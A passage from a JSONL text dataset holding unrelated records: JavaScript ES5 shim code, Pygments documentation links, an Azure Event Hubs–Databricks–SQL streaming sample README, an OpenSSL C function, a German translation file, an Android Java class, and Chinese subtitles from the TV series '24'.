}\n }\n return s;\n },\n pow: function pow(x, n, acc) {\n return (n === 0 ? acc : (n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc)));\n },\n log: function log(x) {\n var n = 0;\n var x2 = x;\n while (x2 >= 4096) {\n n += 12;\n x2 /= 4096;\n }\n while (x2 >= 2) {\n n += 1;\n x2 /= 2;\n }\n return n;\n }\n };\n\n var toFixedShim = function toFixed(fractionDigits) {\n var f, x, s, m, e, z, j, k;\n\n // Test for NaN and round fractionDigits down\n f = $Number(fractionDigits);\n f = isActualNaN(f) ? 0 : Math.floor(f);\n\n if (f < 0 || f > 20) {\n throw new RangeError('Number.toFixed called with invalid number of decimals');\n }\n\n x = $Number(this);\n\n if (isActualNaN(x)) {\n return 'NaN';\n }\n\n // If it is too big or small, return the string value of the number\n if (x <= -1e21 || x >= 1e21) {\n return $String(x);\n }\n\n s = '';\n\n if (x < 0) {\n s = '-';\n x = -x;\n }\n\n m = '0';\n\n if (x > 1e-21) {\n // 1e-21 < x < 1e21\n // -70 < log2(x) < 70\n e = toFixedHelpers.log(x * toFixedHelpers.pow(2, 69, 1)) - 69;\n z = (e < 0 ? x * toFixedHelpers.pow(2, -e, 1) : x / toFixedHelpers.pow(2, e, 1));\n z *= 0x10000000000000; // Math.pow(2, 52);\n e = 52 - e;\n\n // -18 < e < 122\n // x = z / 2 ^ e\n if (e > 0) {\n toFixedHelpers.multiply(0, z);\n j = f;\n\n while (j >= 7) {\n toFixedHelpers.multiply(1e7, 0);\n j -= 7;\n }\n\n toFixedHelpers.multiply(toFixedHelpers.pow(10, j, 1), 0);\n j = e - 1;\n\n while (j >= 23) {\n toFixedHelpers.divide(1 << 23);\n j -= 23;\n }\n\n toFixedHelpers.divide(1 << j);\n toFixedHelpers.multiply(1, 1);\n toFixedHelpers.divide(2);\n m = toFixedHelpers.numToString();\n } else {\n toFixedHelpers.multiply(0, z);\n toFixedHelpers.multiply(1 << (-e), 0);\n m = toFixedHelpers.numToString() + strSlice('0.00000000000000000000', 2, 2 + f);\n }\n }\n\n if (f > 0) {\n k = m.length;\n\n if (k <= f) {\n m = s + strSlice('0.0000000000000000000', 0, f - k + 2) + m;\n } else {\n m = s + strSlice(m, 0, k - f) + '.' + strSlice(m, k - f);\n }\n } else {\n m = s + m;\n }\n\n return m;\n };\n defineProperties(NumberPrototype, { toFixed: toFixedShim }, hasToFixedBugs);\n\n var hasToPrecisionUndefinedBug = (function () {\n try {\n return 1.0.toPrecision(undefined) === '1';\n } catch (e) {\n return true;\n }\n }());\n var originalToPrecision = NumberPrototype.toPrecision;\n defineProperties(NumberPrototype, {\n toPrecision: function toPrecision(precision) {\n return typeof precision === 'undefined' ? originalToPrecision.call(this) : originalToPrecision.call(this, precision);\n }\n }, hasToPrecisionUndefinedBug);\n\n //\n // String\n // ======\n //\n\n // ES5 15.5.4.14\n // http://es5.github.com/#x15.5.4.14\n\n // [bugfix, IE lt 9, firefox 4, Konqueror, Opera, obscure browsers]\n // Many browsers do not split properly with regular expressions or they\n // do not perform the split correctly under obscure conditions.\n // See http://blog.stevenlevithan.com/archives/cross-browser-split\n // I've tested in many browsers and this seems to cover the deviant ones:\n // 'ab'.split(/(?:ab)*/) should be [\"\", \"\"], not [\"\"]\n // '.'.split(/(.?)(.?)/) should be [\"\", \".\", \"\", \"\"], not [\"\", \"\"]\n // 'tesst'.split(/(s)*/) should be [\"t\", undefined, \"e\", \"s\", \"t\"], not\n // [undefined, \"t\", undefined, \"e\", ...]\n // ''.split(/.?/) should be [], not [\"\"]\n // '.'.split(/()()/) should be [\".\"], not [\"\", \"\", \".\"]\n\n if (\n 'ab'.split(/(?:ab)*/).length !== 2 ||\n '.'.split(/(.?)(.?)/).length !== 4 ||\n 'tesst'.split(/(s)*/)[1] === 't' ||\n 'test'.split(/(?:)/, -1).length !== 4 ||\n ''.split(/.?/).length ||\n '.'.split(/()()/).length > 1\n ) {\n (function () {\n var compliantExecNpcg = typeof (/()??/).exec('')[1] === 'undefined'; // NPCG: nonparticipating capturing group\n var maxSafe32BitInt = Math.pow(2, 32) - 1;\n\n StringPrototype.split = function (separator, limit) {\n var string = String(this);\n if (typeof separator === 'undefined' && limit === 0) {\n return [];\n }\n\n // If `separator` is not a regex, use native split\n if (!isRegex(separator)) {\n return strSplit(this, separator, limit);\n }\n\n var output = [];\n var flags = (separator.ignoreCase ? 'i' : '') +\n (separator.multiline ? 'm' : '') +\n (separator.unicode ? 'u' : '') + // in ES6\n (separator.sticky ? 'y' : ''), // Firefox 3+ and ES6\n lastLastIndex = 0,\n // Make `global` and avoid `lastIndex` issues by working with a copy\n separator2, match, lastIndex, lastLength;\n var separatorCopy = new RegExp(separator.source, flags + 'g');\n if (!compliantExecNpcg) {\n // Doesn't need flags gy, but they don't hurt\n separator2 = new RegExp('^' + separatorCopy.source + '$(?!\\\\s)', flags);\n }\n /* Values for `limit`, per the spec:\n * If undefined: 4294967295 // maxSafe32BitInt\n * If 0, Infinity, or NaN: 0\n * If positive number: limit = Math.floor(limit); if (limit > 4294967295) limit -= 4294967296;\n * If negative number: 4294967296 - Math.floor(Math.abs(limit))\n * If other: Type-convert, then use the above rules\n */\n var splitLimit = typeof limit === 'undefined' ? maxSafe32BitInt : ES.ToUint32(limit);\n match = separatorCopy.exec(string);\n while (match) {\n // `separatorCopy.lastIndex` is not reliable cross-browser\n lastIndex = match.index + match[0].length;\n if (lastIndex > lastLastIndex) {\n pushCall(output, strSlice(string, lastLastIndex, match.index));\n // Fix browsers whose `exec` methods don't consistently return `undefined` for\n // nonparticipating capturing groups\n if (!compliantExecNpcg && match.length > 1) {\n /* eslint-disable no-loop-func */\n match[0].replace(separator2, function () {\n for (var i = 1; i < arguments.length - 2; i++) {\n if (typeof arguments[i] === 'undefined') {\n match[i] = void 0;\n }\n }\n });\n /* eslint-enable no-loop-func */\n }\n if (match.length > 1 && match.index < string.length) {\n array_push.apply(output, arraySlice(match, 1));\n }\n lastLength = match[0].length;\n lastLastIndex = lastIndex;\n if (output.length >= splitLimit) {\n break;\n }\n }\n if (separatorCopy.lastIndex === match.index) {\n separatorCopy.lastIndex++; // Avoid an infinite loop\n }\n match = separatorCopy.exec(string);\n }\n if (lastLastIndex === string.length) {\n if (lastLength || !separatorCopy.test('')) {\n pushCall(output, '');\n }\n } else {\n pushCall(output, strSlice(string, lastLastIndex));\n }\n return output.length > splitLimit ? arraySlice(output, 0, splitLimit) : output;\n };\n }());\n\n // [bugfix, chrome]\n // If separator is undefined, then the result array contains just one String,\n // which is the this value (converted to a String). If limit is not undefined,\n // then the output array is truncated so that it contains no more than limit\n // elements.\n // \"0\".split(undefined, 0) -> []\n } else if ('0'.split(void 0, 0).length) {\n StringPrototype.split = function split(separator, limit) {\n if (typeof separator === 'undefined' && limit === 0) {\n return [];\n }\n return strSplit(this, separator, limit);\n };\n }\n\n var str_replace = StringPrototype.replace;\n var replaceReportsGroupsCorrectly = (function () {\n var groups = [];\n 'x'.replace(/x(.)?/g, function (match, group) {\n pushCall(groups, group);\n });\n return groups.length === 1 && typeof groups[0] === 'undefined';\n }());\n\n if (!replaceReportsGroupsCorrectly) {\n StringPrototype.replace = function replace(searchValue, replaceValue) {\n var isFn = isCallable(replaceValue);\n var hasCapturingGroups = isRegex(searchValue) && (/\\)[*?]/).test(searchValue.source);\n if (!isFn || !hasCapturingGroups) {\n return str_replace.call(this, searchValue, replaceValue);\n } else {\n var wrappedReplaceValue = function (match) {\n var length = arguments.length;\n var originalLastIndex = searchValue.lastIndex;\n searchValue.lastIndex = 0;\n var args = searchValue.exec(match) || [];\n searchValue.lastIndex = originalLastIndex;\n pushCall(args, arguments[length - 2], arguments[length - 1]);\n return replaceValue.apply(this, args);\n };\n return str_replace.call(this, searchValue, wrappedReplaceValue);\n }\n };\n }\n\n // ECMA-262, 3rd B.2.3\n // Not an ECMAScript standard, although ECMAScript 3rd Edition has a\n // non-normative section suggesting uniform semantics and it should be\n // normalized across all browsers\n // [bugfix, IE lt 9] IE < 9 substr() with negative value not working in IE\n var string_substr = StringPrototype.substr;\n var hasNegativeSubstrBug = ''.substr && '0b'.substr(-1) !== 'b';\n defineProperties(StringPrototype, {\n substr: function substr(start, length) {\n var normalizedStart = start;\n if (start < 0) {\n normalizedStart = max(this.length + start, 0);\n }\n return string_substr.call(this, normalizedStart, length);\n }\n }, hasNegativeSubstrBug);\n\n // ES5 15.5.4.20\n // whitespace from: http://es5.github.io/#x15.5.4.20\n var ws = '\\x09\\x0A\\x0B\\x0C\\x0D\\x20\\xA0\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003' +\n '\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000\\u2028' +\n '\\u2029\\uFEFF';\n var zeroWidth = '\\u200b';\n var wsRegexChars = '[' + ws + ']';\n var trimBeginRegexp = new RegExp('^' + wsRegexChars + wsRegexChars + '*');\n var trimEndRegexp = new RegExp(wsRegexChars + wsRegexChars + '*$');\n var hasTrimWhitespaceBug = StringPrototype.trim && (ws.trim() || !zeroWidth.trim());\n defineProperties(StringPrototype, {\n // http://blog.stevenlevithan.com/archives/faster-trim-javascript\n // http://perfectionkills.com/whitespace-deviations/\n trim: function trim() {\n if (typeof this === 'undefined' || this === null) {\n throw new TypeError(\"can't convert \" + this + ' to object');\n }\n return $String(this).replace(trimBeginRegexp, '').replace(trimEndRegexp, '');\n }\n }, hasTrimWhitespaceBug);\n var trim = call.bind(String.prototype.trim);\n\n var hasLastIndexBug = StringPrototype.lastIndexOf && 'abcあい'.lastIndexOf('あい', 2) !== -1;\n defineProperties(StringPrototype, {\n lastIndexOf: function lastIndexOf(searchString) {\n if (typeof this === 'undefined' || this === null) {\n throw new TypeError(\"can't convert \" + this + ' to object');\n }\n var S = $String(this);\n var searchStr = $String(searchString);\n var numPos = arguments.length > 1 ? $Number(arguments[1]) : NaN;\n var pos = isActualNaN(numPos) ? Infinity : ES.ToInteger(numPos);\n var start = min(max(pos, 0), S.length);\n var searchLen = searchStr.length;\n var k = start + searchLen;\n while (k > 0) {\n k = max(0, k - searchLen);\n var index = strIndexOf(strSlice(S, k, start + searchLen), searchStr);\n if (index !== -1) {\n return k + index;\n }\n }\n return -1;\n }\n }, hasLastIndexBug);\n\n var originalLastIndexOf = StringPrototype.lastIndexOf;\n defineProperties(StringPrototype, {\n lastIndexOf: function lastIndexOf(searchString) {\n return originalLastIndexOf.apply(this, arguments);\n }\n }, StringPrototype.lastIndexOf.length !== 1);\n\n // ES-5 15.1.2.2\n /* eslint-disable radix */\n if (parseInt(ws + '08') !== 8 || parseInt(ws + '0x16') !== 22) {\n /* eslint-enable radix */\n /* global parseInt: true */\n parseInt = (function (origParseInt) {\n var hexRegex = /^[\\-+]?0[xX]/;\n return function parseInt(str, radix) {\n var string = trim(String(str));\n var defaultedRadix = $Number(radix) || (hexRegex.test(string) ? 16 : 10);\n return origParseInt(string, defaultedRadix);\n };\n }(parseInt));\n }\n\n // https://es5.github.io/#x15.1.2.3\n if (1 / parseFloat('-0') !== -Infinity) {\n /* global parseFloat: true */\n parseFloat = (function (origParseFloat) {\n return function parseFloat(string) {\n var inputString = trim(String(string));\n var result = origParseFloat(inputString);\n return result === 0 && strSlice(inputString, 0, 1) === '-' ? -0 : result;\n };\n }(parseFloat));\n }\n\n if (String(new RangeError('test')) !== 'RangeError: test') {\n var errorToStringShim = function toString() {\n if (typeof this === 'undefined' || this === null) {\n throw new TypeError(\"can't convert \" + this + ' to object');\n }\n var name = this.name;\n if (typeof name === 'undefined') {\n name = 'Error';\n } else if (typeof name !== 'string') {\n name = $String(name);\n }\n var msg = this.message;\n if (typeof msg === 'undefined') {\n msg = '';\n } else if (typeof msg !== 'string') {\n msg = $String(msg);\n }\n if (!name) {\n return msg;\n }\n if (!msg) {\n return name;\n }\n return name + ': ' + msg;\n };\n // can't use defineProperties here because of toString enumeration issue in IE <= 8\n Error.prototype.toString = errorToStringShim;\n }\n\n if (supportsDescriptors) {\n var ensureNonEnumerable = function (obj, prop) {\n if (isEnum(obj, prop)) {\n var desc = Object.getOwnPropertyDescriptor(obj, prop);\n if (desc.configurable) {\n desc.enumerable = false;\n Object.defineProperty(obj, prop, desc);\n }\n }\n };\n ensureNonEnumerable(Error.prototype, 'message');\n if (Error.prototype.message !== '') {\n Error.prototype.message = '';\n }\n ensureNonEnumerable(Error.prototype, 'name');\n }\n\n if (String(/a/mig) !== '/a/gim') {\n var regexToString = function toString() {\n var str = '/' + this.source + '/';\n if (this.global) {\n str += 'g';\n }\n if (this.ignoreCase) {\n str += 'i';\n }\n if (this.multiline) {\n str += 'm';\n }\n return str;\n };\n // can't use defineProperties here because of toString enumeration issue in IE <= 8\n RegExp.prototype.toString = regexToString;\n }\n}));\n"} +{"text": ".. -*- mode: rst -*-\n\n========\nOverview\n========\n\nWelcome to the Pygments documentation.\n\n- Starting with Pygments\n\n - `Installation `_\n\n - `Introduction and Quickstart `_\n\n - `Command line interface `_\n\n- Builtin components\n\n - `Lexers `_\n\n - `Formatters `_\n\n - `Filters `_\n\n - `Styles `_\n\n- Reference\n\n - `Unicode and encodings `_\n\n - `Builtin tokens `_\n\n - `API documentation `_\n\n- Hacking for Pygments\n\n - `Write your own lexer `_\n\n - `Write your own formatter `_\n \n - `Write your own filter `_\n\n - `Register plugins `_\n\n- Hints and Tricks\n\n - `Using Pygments in ReST documents `_\n\n - `Using Pygments with MoinMoin `_\n\n - `Using Pygments in other contexts `_\n\n- About Pygments\n\n - `Changelog `_\n\n - `Authors `_\n\n\n--------------\n\nIf you find bugs or have suggestions for the documentation, please\nlook `here`_ for info on how to contact the team.\n\nYou can download an offline version of this documentation from the\n`download page`_.\n\n.. _here: http://pygments.org/contribute/\n.. _download page: http://pygments.org/download/\n"} +{"text": "---\ntopic: sample\nlanguages:\n - azurecli\n - json\n - sql\n - scala\nproducts:\n - azure\n - azure-container-instances\n - azure-databricks\n - azure-event-hubs\n - azure-sql-database\nstatusNotificationTargets:\n - algattik@microsoft.com\n---\n\n# Streaming at Scale with Azure Event Hubs, Databricks and Azure SQL\n\nThis sample uses Azure SQL DB as database to store JSON data.\n\nThe provided scripts will create an end-to-end solution complete with load test client.\n\n## Running the Scripts\n\nPlease note that the scripts have been tested on [Ubuntu 18 LTS](http://releases.ubuntu.com/18.04/), so make sure to use that environment to run the scripts. You can run it using Docker, WSL or a VM:\n\n- [Ubuntu Docker Image](https://hub.docker.com/_/ubuntu/)\n- [WSL Ubuntu 18.04 LTS](https://www.microsoft.com/en-us/p/ubuntu-1804-lts/9n9tngvndl3q?activetab=pivot:overviewtab)\n- [Ubuntu 18.04 LTS Azure VM](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/Canonical.UbuntuServer1804LTS)\n\nThe following tools/languages are also needed:\n\n- [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-apt?view=azure-cli-latest)\n - Install: `sudo apt install azure-cli`\n- [jq](https://stedolan.github.io/jq/download/)\n - Install: `sudo apt install jq`\n- [python]\n - Install: `sudo apt install python python-pip`\n- [databricks-cli](https://github.com/databricks/databricks-cli)\n - Install: `pip install --upgrade databricks-cli`\n\n## Setup Solution\n\nMake sure you are logged into your Azure account:\n\n az login\n\nand also make sure you have the subscription you want to use selected\n\n az account list\n\nif you want to select a specific subscription use the following command\n\n az account set --subscription \n\nonce you have selected the subscription you want to use just execute the following command\n\n ./create-solution.sh -d \n\nthen `solution_name` value will be used to create a resource group that will contain all resources created by the script. It will also be used as a prefix for all resource create so, in order to help to avoid name duplicates that will break the script, you may want to generate a name using a unique prefix. **Please also use only lowercase letters and numbers only**, since the `solution_name` is also used to create a storage account, which has several constraints on characters usage:\n\n[Storage Naming Conventions and Limits](https://docs.microsoft.com/en-us/azure/architecture/best-practices/naming-conventions#storage)\n\nto have an overview of all the supported arguments just run\n\n ./create-solution.sh\n\n**Note**\nTo make sure that name collisions will be unlikely, you should use a random string to give name to your solution. The following script will generated a 7 random lowercase letter name for you:\n\n ./_common/generate-solution-name.sh\n\n## Created resources\n\nThe script will create the following resources:\n\n- **Azure Container Instances** to host Spark Load Test Clients: by default one client will be created, generating a load of 1000 events/second\n- **Event Hubs** Namespace, Hub and Consumer Group: to ingest data incoming from test clients\n- **Azure Databricks**: to process data incoming from Event Hubs as a stream. Workspace, Job and related cluster will be created\n- **Azure SQL** Server and Database: to store and serve processed data\n\n## Streamed Data\n\nStreamed data simulates an IoT device sending the following JSON data:\n\n```json\n{\n \"eventId\": \"b81d241f-5187-40b0-ab2a-940faf9757c0\",\n \"complexData\": {\n \"moreData0\": 57.739726013343247,\n \"moreData1\": 52.230732688620829,\n \"moreData2\": 57.497518587807189,\n \"moreData3\": 81.32211656749469,\n \"moreData4\": 54.412361539409427,\n \"moreData5\": 75.36416309399911,\n \"moreData6\": 71.53407865773488,\n \"moreData7\": 45.34076957651598,\n \"moreData8\": 51.3068118685458,\n \"moreData9\": 44.44672606436184,\n [...]\n },\n \"value\": 49.02278128887753,\n \"deviceId\": \"contoso://device-id-154\",\n \"deviceSequenceNumber\": 0,\n \"type\": \"CO2\",\n \"createdAt\": \"2019-05-16T17:16:40.000003Z\"\n}\n```\n\n## Duplicate event handling\n\nIn case the Databricks job fails and recovers, it could process a second time an event from Event Hubs that has already been stored in Azure SQL Database. The solution implements an ETL process to make this operation idempotent, so that events are not duplicated in Azure SQL Database (based on the eventId attribute). The process has been engineered for performance at high throughput.\n\nData is first [bulk loaded](https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql)\ninto a staging table whose partition scheme is aligned to that of the target table. Then, a stored procedure is run within Azure SQL Database in order to first deduplicate events from the staging table, then insert only new events into the target table, and finally the staging table is cleared (see [Databricks notebook](../streaming/databricks/notebooks/eventhubs-to-azuresql.scala)).\n\nDue to lookups, performance can be expected to decrease as data accumulates in the target table, so you should perform careful measurements for your scenario. The ETL process introduces a performance bottleneck. In the chart below, processing is not keeping up with the event generation rate of 10k events per second, although the database is running at a high P6 tier (the spike around 20:54 is due to an intermittent database disconnection while running the ETL stored procedure, and demonstrates that the job seamlessly recovers from such a transient failure).\n\n![Console Performance Report](etl-performance.png)\n\nThe stored procedure code is as follows:\n\n\n\n```sql\nCREATE PROCEDURE [dbo].[stp_WriteDataBatch] \nas\n -- Move events from staging_table to rawdata table.\n -- WARNING: This procedure is non-transactional to optimize performance, and\n -- assumes no concurrent writes into the staging_table during its execution.\n declare @buid uniqueidentifier = newId();\n\n -- ETL logic: insert events if they do not already exist in destination table\nWITH staging_data_with_partition AS\n(\n\tSELECT * \n\tFROM dbo.staging_table\n)\nMERGE dbo.rawdata AS t\n USING (\n\n -- Deduplicate events from staging table\n SELECT *\n FROM (SELECT *,\n\t ROW_NUMBER() OVER (PARTITION BY PartitionId, EventId ORDER BY EnqueuedAt) AS RowNumber\n FROM staging_data_with_partition\n ) AS StagingDedup\n WHERE StagingDedup.RowNumber = 1\n\n ) AS s\n ON s.PartitionId = t.PartitionId AND s.EventId = t.EventId\n\n WHEN NOT MATCHED THEN\n INSERT (PartitionId, EventId, Type, DeviceId, DeviceSequenceNumber, CreatedAt, Value, ComplexData, EnqueuedAt, ProcessedAt, \n\t\t\tBatchId, StoredAt) \n VALUES (s.PartitionId, s.EventId, s.Type, s.DeviceId, s.DeviceSequenceNumber, s.CreatedAt, s.Value, s.ComplexData, s.EnqueuedAt, s.ProcessedAt,\n\t\t\t@buid, sysutcdatetime())\n ;\n\nTRUNCATE TABLE dbo.staging_table;\n```\n\n## Solution customization\n\nIf you want to change some setting of the solution, like number of load test clients, Azure SQL Database tier and so on, you can do it right in the `create-solution.sh` script, by changing any of these values:\n\n```bash\n export EVENTHUB_PARTITIONS=4\n export EVENTHUB_CAPACITY=2\n export SQL_SKU=P2\n export SIMULATOR_INSTANCES=1\n export DATABRICKS_NODETYPE=Standard_DS3_v2\n export DATABRICKS_WORKERS=4\n export DATABRICKS_MAXEVENTSPERTRIGGER=10000\n```\n\nThe above settings have been chosen to sustain a 1,000 msg/s stream. The script also contains settings for 5,000 msg/s and 10,000 msg/s.\n\n## Monitor performance\n\nPerformance will be monitored and displayed on the console for 30 minutes. More specifically Inputs and Outputs performance of Event Hub will be monitored. If everything is working correctly, the number of reported `IncomingMessages` and `OutgoingMessages` should be roughly the same. (Give couple of minutes for ramp-up)\n\n![Console Performance Report](../_doc/_images/console-performance-monitor.png)\n\n## Azure SQL\n\nThe solution allows you to test both row-store and column-store options. The deployed database has four tables\n\n- `rawdata`\n- `rawdata_cs`\n- `rawdata_cs_mo`\n- `rawdata_mo`\n\nThe suffix indicates which kind of storage is used for the table:\n\n- No suffix: classic row-store table\n- `cs`: column-store via clustered columnstore index\n- `mo`: memory-optimized table\n- `cs_mo`: memory-optimized clustered columnstore\n\nUse the `-k` option and set it to `rowstore` or `columnstore`. At present time the sample doesn't support using Memory-Optimized tables yet.\n\nBe aware that database log backup happens every 10 minutes circa, as described here: [Automated backups](https://docs.microsoft.com/en-us/azure/sql-database/sql-database-automated-backups#how-often-do-backups-happen). This means that additional IO overhead needs to be taken into account, which is proportional to the amount of ingested rows. That's why to move from 5000 msgs/sec to 10000 msgs/sec a bump from P4 to P6 is needed. The Premium level provides much more I/Os which are needed to allow backup to happen without impacting performances.\n\nIf you want to connect to Azure SQL to query data and/or check resources usages, here's the login and password:\n\n```\nUser ID = serveradmin\nPassword = Strong_Passw0rd!\n```\n\n## Azure Databricks\n\nTable Valued Parameters could not be used as the [`SQLServerDataTable` class](https://docs.microsoft.com/en-us/sql/connect/jdbc/using-table-valued-parameters?view=sql-server-2017#passing-a-table-valued-parameter-as-a-sqlserverdatatable-object) is not serializable and thus not usable with the `forEach` sink. The [`forEachBatch` sink](https://spark.apache.org/docs/latest/structured-streaming-programming-guide.html#foreachbatch) has been used instead, and therefore BULK INSERT has been choosed as the best solution to quickly load data into Azure SQL.\n\nBulk insert logic has been already implemented in the Azure SQL Spark Connector library, which is used in the `forEachBatch` function to perform the Bulk Load:\n\n[Spark connector for Azure SQL Databases and SQL Server](https://github.com/Azure/azure-sqldb-spark)\n\n`forEachBatch` works on all the DataFrame partitions, so `BatchId % 16` is used to spread data in all the 16 partitions available in Azure SQL.\n\nOne interesting aspect to notice is that the number of EventHubs partition is different and higher that the number of allocated Throughput Units (TU). For example, with 5000 msgs/sec 6 TU are used, but 10 partitions are needed. The 6 TU are more than enough to sustain 5000 msgs/sec (as each 1 TU supports 1 Mb and 1000 msgs/sec), but in order to process data fast enough, Databricks needs to have 10 workers to be able to deal with the incoming messages. In order to make sure each worker reads from a partition without interfering with another worker, a worker should be created for each Event Hub partition.\n\n## Query Data\n\nUsage of [sp_whoisactive](http://whoisactive.com/) is recommended to see what's going on in Azure SQL. All tables have the following schema:\n\n![RawData Table Schema](../_doc/_images/databricks-azuresql-table.png)\n\n## Clean up\n\nTo remove all the created resource, you can just delete the related resource group\n\n```bash\naz group delete -n \n```\n"} +{"text": "/*\n * Copyright 1995-2016 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the OpenSSL license (the \"License\"). You may not use\n * this file except in compliance with the License. You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https://www.openssl.org/source/license.html\n */\n\n#include \n#include \"internal/cryptlib.h\"\n#include \n#include \n\n#ifndef OPENSSL_NO_STDIO\nint DHparams_print_fp(FILE *fp, const DH *x)\n{\n BIO *b;\n int ret;\n\n if ((b = BIO_new(BIO_s_file())) == NULL) {\n DHerr(DH_F_DHPARAMS_PRINT_FP, ERR_R_BUF_LIB);\n return 0;\n }\n BIO_set_fp(b, fp, BIO_NOCLOSE);\n ret = DHparams_print(b, x);\n BIO_free(b);\n return ret;\n}\n#endif\n"} +{"text": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the openmediavault-diskstats package.\n# FIRST AUTHOR , YEAR.\n# \n# Translators:\n# Volker , 2017\n# \n#, fuzzy\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: openmediavault-diskstats\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2020-01-07 17:31+0100\\n\"\n\"PO-Revision-Date: 2017-12-31 13:16+0000\\n\"\n\"Last-Translator: Volker , 2017\\n\"\n\"Language-Team: German (https://www.transifex.com/votdev/teams/14254/de/)\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Language: de\\n\"\n\"Plural-Forms: nplurals=2; plural=(n != 1);\\n\"\n\nmsgid \"Disk I/O\"\nmsgstr \"Disk I/O\"\n\nmsgid \"Operations\"\nmsgstr \"Operationen\"\n\nmsgid \"Time per operation\"\nmsgstr \"Zeit pro Operation\"\n\nmsgid \"Traffic\"\nmsgstr \"Verkehr\"\n"} +{"text": "package org.xdty.phone.number.model.common;\n\nimport android.text.TextUtils;\n\nimport org.xdty.phone.number.model.INumber;\nimport org.xdty.phone.number.model.Type;\n\npublic class CommonNumber implements INumber {\n private String mNumber = null;\n private String mName = null;\n\n public CommonNumber(String number, String name) {\n mNumber = number;\n mName = name;\n }\n\n @Override\n public String getName() {\n return mName;\n }\n\n @Override\n public String getProvince() {\n return null;\n }\n\n @Override\n public Type getType() {\n return Type.POI;\n }\n\n @Override\n public String getCity() {\n return null;\n }\n\n @Override\n public String getNumber() {\n return mNumber;\n }\n\n @Override\n public String getProvider() {\n return null;\n }\n\n @Override\n public int getCount() {\n return 0;\n }\n\n @Override\n public boolean isValid() {\n return !TextUtils.isEmpty(mNumber) && !TextUtils.isEmpty(mName);\n }\n\n @Override\n public boolean isOnline() {\n return false;\n }\n\n @Override\n public boolean hasGeo() {\n return false;\n }\n\n @Override\n public int getApiId() {\n return INumber.API_ID_COMMON;\n }\n\n @Override\n public void patch(INumber i) {\n\n }\n}\n"} +{"text": "1\r\n00:00:00,000 --> 00:00:02,000\r\n本字幕由YYeTs美剧翻译组制作\r\nYYeTs美剧国内首发网站:www.YYETS.com\r\n\r\n2\r\n00:00:02,000 --> 00:00:04,000\r\n翻译 八月的威士忌 tirfi ayumylove\r\n williamglory 校对 绫惜\r\n\r\n3\r\n00:00:04,000 --> 00:00:06,000\r\n时间轴 rainy01\r\n后期 chesegpl\r\n\r\n4\r\n00:00:06,000 --> 00:00:14,060\r\n感谢PPLive 支持YYeTs美剧组\r\nPPLive最新欧美剧免费火热播出 《越狱》《24小时》《英雄》第一更新\r\n更多精彩内容到www.pplive.com\r\n\r\n5\r\n00:00:14,083 --> 00:00:16,076\r\n前情提要\r\n\r\n6\r\n00:00:17,070 --> 00:00:19,010\r\n阿布.法耶德\r\n\r\n7\r\n00:00:19,016 --> 00:00:20,060\r\n贵国公民\r\n\r\n8\r\n00:00:20,066 --> 00:00:21,086\r\n他进入美国\r\n\r\n9\r\n00:00:21,093 --> 00:00:23,053\r\n引爆核炸弹\r\n\r\n10\r\n00:00:23,060 --> 00:00:24,086\r\n导致数万人死亡\r\n\r\n11\r\n00:00:24,093 --> 00:00:27,083\r\n接着 阿萨德又试图暗杀美国总统\r\n\r\n12\r\n00:00:27,090 --> 00:00:30,036\r\n你很清楚自从危机开始之后\r\n\r\n13\r\n00:00:30,043 --> 00:00:32,060\r\n我们一直全力与你们合作\r\n\r\n14\r\n00:00:32,066 --> 00:00:34,063\r\n我和你们总统已经达成了共识\r\n\r\n15\r\n00:00:34,070 --> 00:00:36,046\r\n现在你要跟我达成共识\r\n\r\n16\r\n00:00:36,053 --> 00:00:39,030\r\n在下一颗核弹爆炸之前\r\n你帮我们找到它们\r\n\r\n17\r\n00:00:39,036 --> 00:00:41,070\r\n要不然我们就会对你们国家\r\n\r\n18\r\n00:00:41,076 --> 00:00:43,033\r\n全面开火\r\n\r\n19\r\n00:00:43,040 --> 00:00:45,080\r\n我现在就要干掉这个美国佬\r\n\r\n20\r\n00:00:45,086 --> 00:00:47,000\r\n你确定吗?\r\n\r\n21\r\n00:00:47,006 --> 00:00:48,030\r\n确定\r\n\r\n22\r\n00:00:52,036 --> 00:00:54,023\r\n美国人把瓦斯利杀了\r\n\r\n23\r\n00:00:54,030 --> 00:00:56,046\r\n他在地下室\r\n\r\n24\r\n00:00:56,053 --> 00:00:57,090\r\n切断电话线 DSL\r\n\r\n25\r\n00:00:57,096 --> 00:00:59,066\r\n所有联系方式\r\n\r\n26\r\n00:00:59,073 --> 00:01:01,030\r\n莫里斯 我是杰克\r\n\r\n27\r\n00:01:01,036 --> 00:01:03,080\r\n我知道怎么找到格利丹克了\r\n\r\n28\r\n00:01:03,086 --> 00:01:04,080\r\n他在...\r\n\r\n29\r\n00:01:04,086 --> 00:01:05,076\r\n莫斯里?\r\n\r\n30\r\n00:01:05,083 --> 00:01:08,016\r\n杰克? 杰克?\r\n\r\n31\r\n00:01:09,073 --> 00:01:10,096\r\n杰克.鲍尔现在被关在\r\n\r\n32\r\n00:01:11,003 --> 00:01:12,033\r\n俄国领事馆\r\n\r\n33\r\n00:01:12,040 --> 00:01:15,010\r\n为进攻俄国领事馆\r\n\r\n34\r\n00:01:15,012 --> 00:01:17,050\r\n道尔会帮你们建立一个战术档案\r\n\r\n35\r\n00:01:18,021 --> 00:01:19,053\r\n我们的主要目标\r\n\r\n36\r\n00:01:19,060 --> 00:01:21,056\r\n是绑架安纳托里.马科夫领事\r\n\r\n37\r\n00:01:21,063 --> 00:01:24,006\r\n据杰克所说\r\n马科夫知道怎么找到格利丹克\r\n\r\n38\r\n00:01:24,013 --> 00:01:27,000\r\n他控制着剩下的三颗手提式核弹\r\n\r\n39\r\n00:01:27,006 